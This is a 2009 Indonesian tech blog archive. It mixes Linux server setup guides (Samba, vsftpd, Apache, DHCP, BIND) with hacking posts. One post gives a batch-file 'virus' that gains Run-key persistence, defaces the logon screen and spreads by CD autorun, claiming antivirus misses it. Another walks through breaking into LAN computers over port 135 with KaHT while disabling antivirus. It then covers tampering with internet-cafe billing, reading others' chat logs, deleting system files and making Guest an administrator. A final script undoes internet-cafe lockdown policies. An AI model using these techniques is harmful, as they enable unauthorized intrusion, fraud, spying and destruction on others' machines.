Kamis, 14 Mei 2009
SAMBA Linux Redhat
# rpm -Uvh samba-2.0.6-9.i386.rpm samba-client-2.0.6-9.i386.rpm samba-common-2.0.6-9.i386.rpm --force --nodeps
Mengeset samba server:
Editlah file smb.conf yang terletak di /etc/smb.conf
1. Untuk security level = share (tidak membutuhkan password dalam mengakses samba):
pastikan ada script ini:
security = share
domain master=yes
domain logons=yes
encrypt password=yes
security = share
lalu tentukan nama direktori yg dishare beserta pathnya (direktori yang ingin disharing) dengan option-optionnya.
contoh:
[my share]
comment = multimedia stuff
path = /home/master
public = yes
writeable = yes
2. Untuk security level = user (butuh password ketika mengakses samba):
sama dengan di atas, namun pada baris security isikan dengan kata user (security = user).
Lalu under command prompt (masuk ke shell) tambahkan beberapa user yang telah tercantum di /etc/passwd ke dalam file /etc/smbpasswd dengan cara:
smbpasswd -a -n
contoh:
[root@ltsp etc]# smbpasswd -a -n hari
Kita dapat mengakses samba server dari komputer windows, dengan menggunakan login hari dan dengan mengisikan password hari yang terdaftar di komputer linux.
Secara default user yg ditambahkan ke /etc/smbpasswd tidak memiliki password, kita bisa mengisinya dengan mengetikkan:
# smbpasswd
contoh:
[root@ltsp etc]# smbpasswd hari
3. Mounting file-file yang dishare di windows dari komputer linux
a. Mounting file2 yg ada di windows (dalam satu workgroup):
mount -t smbfs -o username=..., password=... //nama-komputer-windows/direktori-yg-dishare /mnt/mount-pointnya
contoh:
[root@ltsp etc]# mount -t smbfs -o username=guest,password=nedcom //"Kang andi"/nedcom /mnt/net
b. Berbeda workgroup:
mount -t smbfs -o username=...,password=..., workgroup=... //nama-komputer-windows/direktori-yg-dishare /mnt/mount-pointnya
contoh:
[root@ltsp etc]# mount -t smbfs -o username=hari,password=hehehe,workgroup=Lab-siskom //optik/master /mnt/net
4. Menggunakan smbclient
smbclient -L = untuk melihat direktori yang dishare di komputer windows
smbclient /// = masuk ke komputer windows pada direktori yang dishare dengan menggunakan format server ftp.
Sabtu, 09 Mei 2009
FTP Server LINUX Redhat
Instalasi FTP
Untuk konfigurasi FTP sangat mudah sekali, kita hanya perlu instalasinya saja dan merubah anonimousnya. Paket yang diperlukan ialah vsftpd-1.1.3-8-i386.rpm.
Seperti biasa lakukan penginstalan dengan perintah rpm –ivh.
# rpm –ivh vsftpd-1.1.3-8-i386.rpm
Konfigurasi FTP
File untuk konfigurasi FTP ialah vsftpd.conf yang terletak di /etc/vsftpd/vsftpd.conf. Pada file ini kita hanya mengganti anonymous_enable-nya menjadi NO atau YES, maksudnya no ialah apabila kita mengakses FTP yang kita bangun maka kita harus mengisikan user dan pasword-nya sedangkan YES ialah sebliknya yaitu kita bisa langsung mengakses FTP tanpa login terlebih dahulu.
Masuklah ke file vsftpd.conf
# vi /etc/vsftpd/vsftpd.conf
Maka akan terlihat pada file di bawah ini
# Example config file /etc/vsftpd/vsftpd.conf
#
# The default compiled in settings are very paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
#
# Allow anonymous FTP?
anonymous_enable=YES
#
# Uncomment this to allow local users to log in.
local_enable=YES
#
# Uncomment this to enable any form of FTP write command.
write_enable=YES
#
# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
local_umask=022
#
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
#anon_upload_enable=YES
#
# Uncomment this if you want the anonymous FTP user to be able to create
# new directories.
#anon_mkdir_write_enable=YES
#
# Activate directory messages - messages given to remote users when they
# go into a certain directory.
dirmessage_enable=YES
#
# Activate logging of uploads/downloads.
xferlog_enable=YES
#
# Make sure PORT transfer connections originate from port 20 (ftp-data).
connect_from_port_20=YES
#
# If you want, you can arrange for uploaded anonymous files to be owned by
# a different user. Note! Using "root" for uploaded files is not
# recommended!
#chown_uploads=YES
#chown_username=whoever
#
# You may override where the log file goes if you like. The default is shown
# below.
#xferlog_file=/var/log/vsftpd.log
# If you want, you can have your log file in standard ftpd xferlog format
xferlog_std_format=YES
#
# You may change the default value for timing out an idle session.
#idle_session_timeout=600
#
# You may change the default value for timing out a data connection.
#data_connection_timeout=120
#
# It is recommended that you define on your system a unique user which the
# ftp server can use as a totally isolated and unprivileged user.
#nopriv_user=ftpsecure
#
# Enable this and the server will recognise asynchronous ABOR requests. Not
# recommended for security (the code is non-trivial). Not enabling it,
# however, may confuse older FTP clients.
#async_abor_enable=YES
#
# By default the server will pretend to allow ASCII mode but in fact ignore
# the request. Turn on the below options to have the server actually do ASCII
# mangling on files when in ASCII mode.
# Beware that turning on ascii_download_enable enables malicious remote parties
# to consume your I/O resources, by issuing the command "SIZE /big/file" in
# ASCII mode.
# These ASCII options are split into upload and download because you may wish
# to enable ASCII uploads (to prevent uploaded scripts etc. from breaking),
# without the DoS risk of SIZE and ASCII downloads. ASCII mangling should be
# on the client anyway..
#ascii_upload_enable=YES
#ascii_download_enable=YES
#
# You may fully customise the login banner string:
#ftpd_banner=Welcome to blah FTP service.
#
# You may specify a file of disallowed anonymous e-mail addresses. Apparently
# useful for combatting certain DoS attacks.
#deny_email_enable=YES
# (default follows)
#banned_email_file=/etc/vsftpd.banned_emails
#
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
#chroot_list_enable=YES
# (default follows)
#chroot_list_file=/etc/vsftpd.chroot_list
#
# You may activate the "-R" option to the builtin ls. This is disabled by
# default to avoid remote users being able to cause excessive I/O on large
# sites. However, some broken FTP clients such as "ncftp" and "mirror" assume
# the presence of the "-R" option, so there is a strong case for enabling it.
#ls_recurse_enable=YES
pam_service_name=vsftpd
userlist_enable=YES
#enable for standalone mode
listen=YES
tcp_wrappers=YES
Dari contoh file di atas kita ada baris dengan tanda agak lebih hitam yaitu anonymous enable kita mencoba memakai YES agar kita bisa langsung mengaksesnya lalu restart lah dengan perintah service vsftpd restart
Webserver LINUX Redhat
Web Server atau apache merupakan salah satu fasilitas di Linux yang berfungsi untuk menampilkan halaman web. Webserver atau sering disebut apache di Linux walaupun sekarang sudah ada apache untuk windows. Dalam konfigurasi webserver ini kita akan menyertakan bahasa pemograaman PHP dan databasenya MySql agar dapat support dengan web-web yang akan ditampilkan.
Paket Yang Perlu Diinstall
httpd-2.0.40-21.i386.rpm
php-4.2.2-17.i386.rpm
php-manual-4.2.2-17.i386.rpm
php-mysql-4.2.2-17.i386.rpm
mysql-3.23.54a-11.i386.rpm
mysql-server-3.23.54a-11.i386.rpm
lalu lakukan penginstalan apabila paket di atas belum terinstal.
# rpm -ivh httpd-2.0.40-21.i386.rpm
# rpm -ivh php-4.2.2-17.i386.rpm
# rpm -ivh php-manual-4.2.2-17.i386.rpm
# rpm -ivh php-mysql-4.2.2-17.i386.rpm
# rpm -ivh mysql-3.23.54a-11.i386.rpm
# rpm -ivh mysql-server-3.23.54a-11.i386.rpm
Konfigurasi Apache
File untuk konfigurasi apache terletak di /etc/httpd/conf/httpd.conf , masukklah ke file httpd.conf.
# vi /etc/httpd/conf/httpd.conf
lalu tambahkan file seperti yang di bawah ini.
DirectoryIndex index.php index.html index.htm
DirectoryIndex ialah proses pertamakali membaca pada waktu mengakses web yang kita bangun.
ServerName www.wanna.co.id
ServerName ialah nama server utama dari webserver
NameVirtualHost 192.168.8.1
NameVirtualHost ialah IP virtual host yang kita kita gunakan
Lalu pada bagian akhir kita mengisi virtual host-nya seperti contoh di bawah
ServerName www.wanna.co.id //nama server virtual yang akan dibuat
DocumentRoot /home/www //letak web dari www.wanna.co.id
ErrorLog logs/www.wanna.co.id-error.log //letak file error dari user yang // mengakses web tersebut
CustomLog logs/www.wanna.co.id-access_log commond // file berisi tentang //jumlah, waktu, tanggal user yang telah mengakses web ini.
Lalu pada bagian akhir buatlah user dengan nama www dan file dengan nama index.php di /home/www, lalu ketik pada file tersebut agar kita bisa mengetahui apakah PHP dan MySQL sudah berjalan dan restartlah webserver dengan perintah service httpd restart.
# echo ‘’ index.php
# service httpd restart
Lalu akseslah domain anda di web browser misal www.wanna.co.id. Maka selesailah konfigurasi web server.
Jumat, 08 Mei 2009
OSI Layers
1. Lapisan fisik (Physical Layer)
Lapisan ini merupakan lapisan paling bawah (dasar) yang bertugas mengendalikan dan mengatur semua hal yang berhubungan dengan masalah transport data, seperti:
a. menentukan karakteristik kabel yang digunakan untuk menghubungkan komputer dengan jaringan;
b. mentransfer dan menentukan bagaimana bit-bit data dikodekan;
c. menangani interkoneksi fisik (kabel), mekanikal, elektrikal, dan prosedural.
2. Lapisan Keterkaitan Data (Data Link Layer)
Pada lapisan ini paket data yang ingin dikirim akan berbentuk frame. Fungsi lapisan ini adalah menentukan protokol untuk pertukaran frame data yang lewat melalui kabel. Dengan kata lain, lapisan ini menganani hal yang berhubungan dengan pengambilan dan pelepasan paket data dari dan ke kabel, deteksi, dan koreksi kesalahan, serta pengiriman ulang data.
3. Lapisan Jaringan (Network Layer)
Lapisan ini tugasnya adalah merutekan paket data ke tujuan yang seharusnya, mengendalikan operasi subnet, mengatasi semua masalah yang terjadi pada jaringan sehingga jaringan yang berbeda dapat saling terinterkoneksi.
4. Lapisan Transport (Transport Layer)
Lapisan ini akan menerima data dari lapisan sesi, memecahnya menjadi potongan data yang lebih kecil, lalu meneruskannya ke lapisan jaringan. Selain itu, lapisan ini juga berfungsi untuk menjamin agar data dapat diterima di sisi penerima dengan benar.
5. Lapisan Sesi (Session Layer)
Lapisan sesi ini mengijinkan para user untuk menetapkan session dengan user yang lainnya.
6. Lapisan Presentasi (Presentation Layer)
Lapisan ini akan menterjemahkan struktur data yang telah direpresentasikan. Selain itu, pada lapisan ini juga terjadi kompresi data, enkripsi, deskripsi, dan konversi data.
7. Lapisan Aplikasi (Application Layer)
Lapisan ini fungsinya menyediakan akses aplikasi ke jaringan dan terdiri dari bermacam-macam protokol.
DHCP Server LINUX REDHAT
Cek terlebih dahulu apakah paket dhcp sudah terinstall, coba periksa dengan mengetikkan perintah “rpm –qa |grep dhcp”.
Konfigurasi DHCP
Terdapat dua file konfigurasi DHCP yang paling utama ialah file dhcpd.conf yang terletak di /etc/dhcpd.conf, file ini kita buat sendiri karena secara defaultnya file ini tidak ada walaupun paket DHCP sudah terinstall. File kedua ialah dhcp.leasses yang terletak di /var/lib/dhcp/dhcp.leasses di file ini berisi tentang data client yang menggunakan server DHCP.
Anda juga dapat membuka manual DHCP server dengan perintah man dhcpd.
Sebelum konfigurasi dhcpnya kita copy dulu file defaultnya di /usr/share/doc/dhcp.xxx/dhcpd.conf.sample ke /etc/dhcpd.conf :
cp /usr/share/doc/dhcp.xxx/dhcpd.conf.sample /etc/dhcpd.conf
Di bawah ini ialah contoh isi file /etc/dhcpd.conf
vi /etc/dhcpd.conf
ddns-update-style ad-hoc;
subnet 192.168.5.0 netmask 255.255.255.0 {
range 192.168.5.30 192.168.5.60;
default-lease-time 3600000;
option subnet-mask 255.255.255.0;
option routers 192.168.5.1;
option domain-name-servers 192.168.0.200;
option domain-name “ginan.com”;
}
*Keterangan;
subnet ialah alamat network IP yang digunakan oleh server DHCP dan netmasknya
range ialah Jumlah IP yang dapat dibagikan dalam hal ini dituliskan IP berapa dan sampai berapa.
default-lease-time ialah batas waktu penyewaan.
option routers ialah IP gateway yang di gunakan.
option domain-name-servers ialah IP DNS dari suatu ISP atau IP DNS komputer server local yang digunakan.
option domain-name “ginan.com” ialah suatu alamat domain
Kemudian Restart dhcpnya dengan cara :
service dhcpd restart atau /etc/init.d/dhcpd restart
DNS Server LINUX REDHAT
1. Konfigurasi Bootscript
File pertama yang akan dibaca oleh BIND adalah file /etc/named.conf, berikut adalah isi file /etc/named.conf dalam kondisi asli (belum dikonfigurasi)
option {
Direktory “/var/named”;
};
zone “.” {
type hint;
file “named.ca”;
};
zone “0.0.127.in-addr.arpa”{
type master;
file “named.local”;
Option: berisi informasi DNS server. Option dapat di konfiguasi dengan aturan sebagai berikut:
Option {
Direktori zona file
Internal waktu untuk kepentingan statistik
IP Address forwarders
Forward (only | first)
};
Dari contoh diatas dapat diketahui bahwa direktori yang berisi zona file berada pada direktori /var/named. Jika tidak dilakukan perubahan apapun, maka secara default konfigurasi zona file dapat diletakkan pada direktori tersebut.
Misalkan akan dibuat sebuah DNS server yang akan digunakan untuk meng-query seluruh komputer yang ada di jaringan lokal. Domain yang akan digunakan pada jaringan ini adalah ginan.com dengan terdapat 3 host yaitu:
Nama Host IP Address
dns.ginan.com 192.168.1.2
www.ginan.com 192.168.1.1
mail.ginan.com 192.168.1.3
Tentukan hanya ada sebuah DNS server yang akan menjadi primary DNS Server yang akan mengurus domain ginan.com. Edit file /etc/named.conf dengan menambahkan zone ginan.com. Tambahkan pula konfigurasi untuk reverse domain. Secara keseluruhan, isi file /etc/named.conf akan seperti berikut:
option {
Directory “/var/named”;
};
zone “.” {
type hint;
file “named.ca”;
};
zone “0.0.127.in-addr.arpa”{
type master;
file “named.local”;
};
zone “ginan.com”{
type master;
file “ginan.com.db”;
};
zone “1.168.192.in-addr.arpa”{
type master;
file “192.168.1.db”;
};
Konfigurasi zona file
Sekarang anda pindah ke direktori /var/named.
cd /var/named
Buat dua file yang telah ditentukan pada /etc/named.conf yaitu ginan.com.db dan 192.198.1.db Gunakan perintah touch.
touch ginan.com.db
touch 192.198.1.db
File ginan.com akan digunakan untuk menkonfigurasi zona file DNS untuk keperluan mapping hostname ke IP Address. Zona menggunakan standard penulisan record untuk penulisan informasi suatu domain yang disebut Standard Resource Records. Formatnya adalah sebagai berikut:
zone IN SOA origin contact (
serial
refresh
retry
expire
minimum
)
2. Mengaktifkan DNS Server
Setelah dilakukan konfigurasi seperti langkah sebelumnya, tiba saatnya untuk mengaktifkan DNS Server. Cara yang paling mudah adalah dengan menggunakan utilitas setup. Ketikkan setup dari prompt, kemudian masuk ke system service. Cari bagian yang bernama named, kemudian beri tanda cek bagian tersebut. Cara lain adalah dengan mengetikkan perintah:
/etc/rc.d/init.d/named restart
Selanjutnya tambahkan dua baris berikut pada file /etc/resolf.conf
Search ginan.com dengan menekan Esc kemudian mengetikkan : ginan.com
Nameserver 192.168.1.2
Baris-baris diatas menyebabkan host akan mengecek keberadaan dns server yang beralamat di 192.168.1.2.
Selanjutnya anda harus memastikan bahwa pada file /etc/host.conf terdapat baris seperi berikut:
order host,bind
multi on
baris diatas akan menyebabkan proses resolving akan dimulai dari file /etc/hosts sebelum pencarian pada zona file yang telah didefinisikan sebelumnya.
Untuk mengetes apakah DNS server telah bekerja ketikkan:
ping ginan.com
Rabu, 22 April 2009
Cara Buat Virus Sederhana Dari Notepad
tags: hack, virus, virus notepad
ni virus efeknya g t’lalu bahaya….efek dari virus ini cuman mengganti tampilan dari
windows…..tapi cukup bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(setahu saya….. )
note: “HANYA BEKERJA PADA WINDOWS XP”
caranya:
- buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di bawah ini:
@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f
- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:
[autorun]
open=nama_file.bat
- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya
note:
- jangan disalahgunakan
- maaf kalau pernah diposting
- maaf lagi kalau salah tempat untuk posting,….maklum member baru and masih amatir ….
- lagi-lagi maaf kalau ada yang salah, and mohon dikoreksi ….
- kalau mau buat anti virusnya tinggal di modifikasi nilainya….
n_n
Jumat, 03 April 2009
Pasang Kabel UTP
Semua pasti tahu kan kalo yang namanya wired network kalo gak bener kabel ke konektor RJ-45 nya bisa-bisa network gak bakalan jalan. Belum lagi RJ-45 yang cuman sekali pake kalo salah pasang atau kurang pas pemasangan gak bisa dibenerin dan dipake lagi.
Sebener nya pemasangan nya mudah banget tapi ternyata gak semua orang tau gimana cara memasang kabel UTP ke RJ-45 dengan benar dan bahkan lebih banyak lagi yang gak tau apa alasan kabel UTP harus dipasang seperti itu.
Seperti biasa bakalan rame dengan gambar jadi sabar aja buka nya ya .
Alat dan bahan yang diperlukan (kayak mau bikin nasi uduk aja)
Selengkapnya Link Aja judul diatas,,,,,,,
Minggu, 29 Maret 2009
Cara Merakit Komputer Pemula
Berikut ini akan dibahas mengenai bagaimana cara merakit komputer, terutama bagi mereka yang baru belajar .. dari beberapa referensi yang saya pelajari .. maka berikut ini akan dijelaskan langkah demi langkah cara merakit komputer, mudah-mudahan bermanfaat .. Red. deden
Komponen perakit komputer tersedia di pasaran dengan beragam pilihan kualitas dan harga. Dengan merakit sendiri komputer, kita dapat menentukan jenis komponen, kemampuan serta fasilitas dari komputer sesuai kebutuhan.Tahapan dalam perakitan komputer terdiri dari:
A. PersiapanB. Perakitan
C. Pengujian
D. Penanganan Masalah
seLengkapnya Link Aja pada juduL diataS,,,,,,,,,
Minggu, 15 Maret 2009
Matikan Komputer Dengan Klik Kanan di Menu Start
Salahsatu bentuk implementasi dari modifikasi sistem operasi dengan menggunakan fasilitas
yang ada pada sistem operasi itu sendiri, maka pada trik kali ini akan dipraktekkan secara
langsung tentang bagaimana cara membuat sebuah program dengan menggunakan JavaScript
yang mampu menciptakan sebuah shortcut dan berguna dalam menonaktifkan komputer. Ingin
mengerti cara membuat serta menggunakannya? Silahkan cermati petunjuk ringkas yang
menarik ini dan praktekkanlah dengan cara mengetikkannya pada editor kesayangan anda.
Cobalah salin script program berikut ini dengan menggunakan Notepad lalu simpan dengan
nama KomputerTidur.js, kemudian ubah Save as type yang tadinya Text Documents (*.txt)
menjadi All Files.
Agar tidak terjadi kesalahan pada saat pengetikkan program alangkah baiknya jika fasilitas
Word Wrap yang ada di Notepad di nonaktifkan terlebih dahulu sebelum pengetikan script
program.
// Program Sederhana Matiin Komputer Via Klik Kanan
// Programmer : Yonatan Prasdikatama
var vbCancel = 2;
var vbYesNoCancel = 3;
var vbYes = 6;
var vbNo = 7;
var vbQuestion = 32;
var vbInformation = 64;
var natan = WScript.CreateObject('WScript.Shell');
var kata = '.:: http://www.ginanabdulwahid.co.cc ::.';
var pesan1 = 'Pilihlah opsi berikut ini:\n'+
'--------------------------\n\n'+
'1. Klik ["Yes"] -> untuk Pasang.\n'+
'2. Klik ["No"] -> untuk Copot.\n'+
'3. Klik ["Cancel"] -> untuk Berhenti.\n\n'+
'>> Pilihan Anda? <<'
var tanya = natan.popup(pesan1,0,kata,vbYesNoCancel+vbQuestion);
if (tanya == vbYes)
{
natan.RegWrite('HKCR\\Directory\\shell\\mati\\',
'> Matikan Windows!','REG_SZ');
natan.RegWrite('HKCR\\Directory\\shell\\mati\\command\\',
'shutdown.exe -s -t 0','REG_SZ');
natan.RegWrite('HKCR\\Drive\\shell\\mati\\',
'> Matikan Windows!','REG_SZ');
natan.RegWrite('HKCR\\Drive\\shell\\mati\\command\\',
'shutdown.exe -s -t 0','REG_SZ');
pesan2 = 'Selesai di pasang!';
natan.popup(pesan2,0,kata,vbInformation);
}
else if (tanya == vbNo)
{
natan.RegDelete('HKCR\\Directory\\shell\\mati\\command\\');
natan.RegDelete('HKCR\\Directory\\shell\\mati\\');
natan.RegDelete('HKCR\\Drive\\shell\\mati\\command\\');
natan.RegDelete('HKCR\\Drive\\shell\\mati\\');
pesan3 = 'Selesai di copot!';
natan.popup(pesan3,0,kata,vbInformation);
}
else
{
pesan4 = 'Berhenti!';
natan.popup(pesan4,0,kata,vbInformation);
}
Carilah file yang bernama KomputerTidur.js. Kemudian Klik dua kali pada ikon file tersebut
untuk menjalankannya. Program diatas juga dapat dijalankan melalui Command Prompt
dengan mengetikkan perintah: cscript KomputerTidur.js.
Cara melihat perubahannya yaitu cobalah klik kanan di Start Menu, atau di salah satu drive
maupun folder yang terdapat di Windows Explorer. Disana anda akan melihat sebuah shortcut
yang dapat anda klik untuk menonaktifkan komputer.
Jika tidak menginginkan shorcut tersebut tampil di Start Menu atau Windows Explorer,
silahkan klik tombol No untuk menghapusnya.
Tetapi jika tidak ada keinginan untuk mengeksekusi program tersebut, silahkan klik tombol
Cancel untuk keluar.
Program diatas sangat aman dan telah diujicoba di sistem operasi Windows XP Professional
Service Pack 2. Sangat mudah dan cepat bukan? Selamat menggunakannya!
Senin, 16 Februari 2009
Anda ingin
masuk dikomputer teman anda dalam sebuah LAN ? bisa melihat seluruh isi
harddisk teman anda, membuat directory, membuat file, mendelete file atau
apa saja ? itu mudah, semua caranya ada disini.
Pertama-tama anda harus tahu 2 program penting lalu downloadlah yaitu
internet Maniac (Internet Maniac.exe) … Download Interenet
Maniac
Berfungsi untuk mengetahui ip addreas client melalui computer name /
hostname
KaHT (KaHt.exe) … Download program hacker
KaHT
Berfungsi sebagai program untuk menerobos ke computer server atau client
Ingat hanya dengan 2 program diatas maka anda bersiap-siaplah menguasai
warnet / kampus / kantor dan sebagainya, lho bagaimana bisa ? hehe
Pertama kali anda periksa dahulu jaringan anda dengan melihat para hostname
dengan 2 cara.
Ingat hanya dengan 2 program diatas maka anda bersiap-siaplah menguasai
warnet / kampus / kantor dan sebagainya, lho bagaimana bisa ? hehe
Setelah 2 program diatas di download maka ekstractlah dahulu program
tersebut, entah pake WINZIP atau pake apa.
Kalo udah di extract lalu pertama kali anda periksa dahulu jaringan anda
dengan melihat para hostname dengan 2 cara.
Untuk Windows XP
Cara Pertama Masuk ke Start Lalu Search, lalu pilih computers or people lalu
pilih A computer on the Network lalu langsung klik search maka akan segera
muncul computer-komputer yang terkoneksi dalam jaringan.
Untuk Windows 95/98/Me/2000 (kalau anda menemukan open port 135 di OS ini)
:)
Cara Pertama Masuk ke Start Lalu Search Lalu For Files or Folders lalu pada
menu Search for other item pilihlah computers, lalu akan muncul Search for
computer, maka langsung klik Search Now maka nama-nama computer akan muncul
(Alternatif cara yang cepat dapat mengklik My Network Place / Network
Neighboure saja)
Setelah loe dapetin sasaran computer yang mau di masukin / diremote maka
loe langsung aja jalankan program Internet Maniac
Masuklah ke Host Lookup lalu ketikkan nama computer / hostname lalu klik
resolve, disini anda akan mendapat alamat ip computer tersebut. Dengan nomor
ip ini maka anda sudah mengetahui sasaran computer yang akan di masuki.
Setelah itu selesai maka kita tinggalkan program Internet Maniac, kita akan
berlanjut dengan program KaHT, program ini akan didetect sebagai Trojan oleh
antivirus, tapi abaikan saja, jangan di hapus / di karantina kalau
terdetect, kalau perlu del aja antivirusnya, satu lagi, program KaHT bekerja
dalam MS-DOS Mode jadi disini kemampuan anda menggunakan DOS sangat penting,
tanpa kemampuan DOS maka anda tidak akan bisa banyak berbuat.
Cara masuk DOS Mode
Untuk Windows XP :
Masuklah ke Start, All programs, Accessories lalu Command Prompt
Untuk Windows 95/98/Me/NT/2000
Masuklah ke Start, Programs, Accessories lalu MS-DOS Prompt
Setelah berhasil masuk DOS maka masuklah di directory program KaHT, masa seh
bisa lupa tadi program diextract dimana, hehe, (Misal tadi di extract di
C:\KaH) maka ketikkan "CD\KaHT" dan seterusnya.
Jika sudah, ini saatnya?
Ketikkan "KaHT sebelum_no_ip_komputer_sasaran no_ip_komputer_sasaran.
kalau bingung bisa begini : "KaHT Ip1 ip2"
ip1 : ip awal yang discan
ip2 : ip terahkir yang discan
Misalnya tadi ip-nya 192.168.0.1 setelah di detect pakek Internet Maniac
tadi itu lho.
Maka ketikkan saja "KaHT 192.168.0.0 192.168.0.1" lalu enter aja
Nah disini nanti program akan bekerja otomatis.
Setelah selesai menscan jika nanti port 135 ternyata dalam keadaan open maka
anda akan otomatis di computer tujuan / sasaran, untuk lebih persisnya anda
akan berada di "c:\windows\system" milik komputer tujuan / sasaran setelah
pen-scan-an selesai.
Anda bisa bebas di computer sasaran, mau edit atau di delete pun bisa, hehe
Nah kalo udah begini kita bisa berkreasi :
Pingin biaya warnet kita lebih murah ? gampang masuk aja di billing server,
ketik Time, ganti aja waktunya, tapi jangan banyak-banyak apalagi minus
nanti ketahuan ama operator warnetnya, hehe.
Memata-matai anak yang sedang chatting pakek MiRC di satu warnet / kampus /
kantor / lainnya, cari program MiRC yang digunakan dalam computer tersebut,
biasanya seh di C:\Program Files\MiRC, buka file MiRC.INI, lalu Log IRC di
On kan saja dan kalo mau lihat isi chattingan teman kita itu cukup lewat
"/logs" maksudnya kalau tadi di C:\program Files\MiRC program MiRCnya maka
cukup masuk aja di C:\Program Files\MiRC\Logs nanti disitu ada file-file log
hasil chattingan dia walaupun dia sedang online tetep aja terekam, hehe,
kalo mau mastiin dia makek nick apa, gampang banget bisa jalanin aja MiRCnya
atau periksa di MiRC.INI, gampangkan.
Apalagi nih, Bikin computer itu rusak, lebih baik jangan, tapi sebenere bisa
lho, delete aja file-file systemnya, hehe.
Diatas cuman kreasi dikit aja, loe bisa aja memanfaatkannya jauh lebih
bermanfaat dari pada diatas
Tujuan dari tutorial ini untuk anda yang sering menggunakan komputer dengan
Windows 2000 dan XP dijaringan agar lebih waspada terhadap berbagai tindakan
usil dari pihak-pihak yang tidak bertanggung jawab..
5.Membuat akses administrator Windows untuk kita lewat komputer lain
Kita ingin membuat administrator Windows XP/2000 di komputer lain melalui
LAN ? sangat mudah, caranya masuklah ke komputer tujuan dengan program kaht
yang sudah diajarkan diatas, lalu kita akan mencoba beberapa trik.
Melihat akses guest dan administrator di Windows
Ketik : net user
Melihat aktif tidaknya guest di Windows
Ketik : net user guest
Membuat akses guest menjadi Administrator dengan perintah :
Ketik : net localgroup Administrators Guest /add
Membuat akses adminstrator sendiri :
1. Ketik : net user
2. Ketik : net localgroup Administrators
Menghapus akses administrator
Ketik : net localgroup Users
Catatan:
*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah
tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab
anda tanpa kecuali.
huh, kadang kala di warnet semua akses di tutup,
mulai dari Run, find/search, Control Panel, dll. gimana ya caranya menjebolnya…?..
mode side 2 layer 2 aktif. let’s go!!!
buka notepad,
(bener2 keterlaluan kalo notepad aja di blok!!!)
cut n paste script berikut:
–start–
On error resume next
Dim Reg
Set Reg = CreateObject(”WScript.Shell”)
if msgbox(”Kembalikan menu Run ?” , VbOkCancel) = VbOK then
Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “0?, “REG_DWORD”
end if
if msgbox(”Enable Registry Tool ?” , VbOkCancel) = VbOK then
Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “0?, “REG_DWORD”
end if
if msgbox(”Perlihatkan file hidden” , VbOkCancel) = VbOK then
Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “1?, “REG_DWORD”
end if
if msgbox(”Kembalikan menu Find” , VbOkCancel) = VbOK then
Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “0?, “REG_DWORD”
end if
if msgbox(”Kembalikan menu Option” , VbOkCancel) = VbOK then
Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “0?, “REG_DWORD”
end if
if msgbox(”Enable Taskmanager” , VbOkCancel) = VbOK then
Reg.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “0?, “REG_DWORD”
end if
if msgbox(”Disable File Extensi” , VbOkCancel) = VbOK then
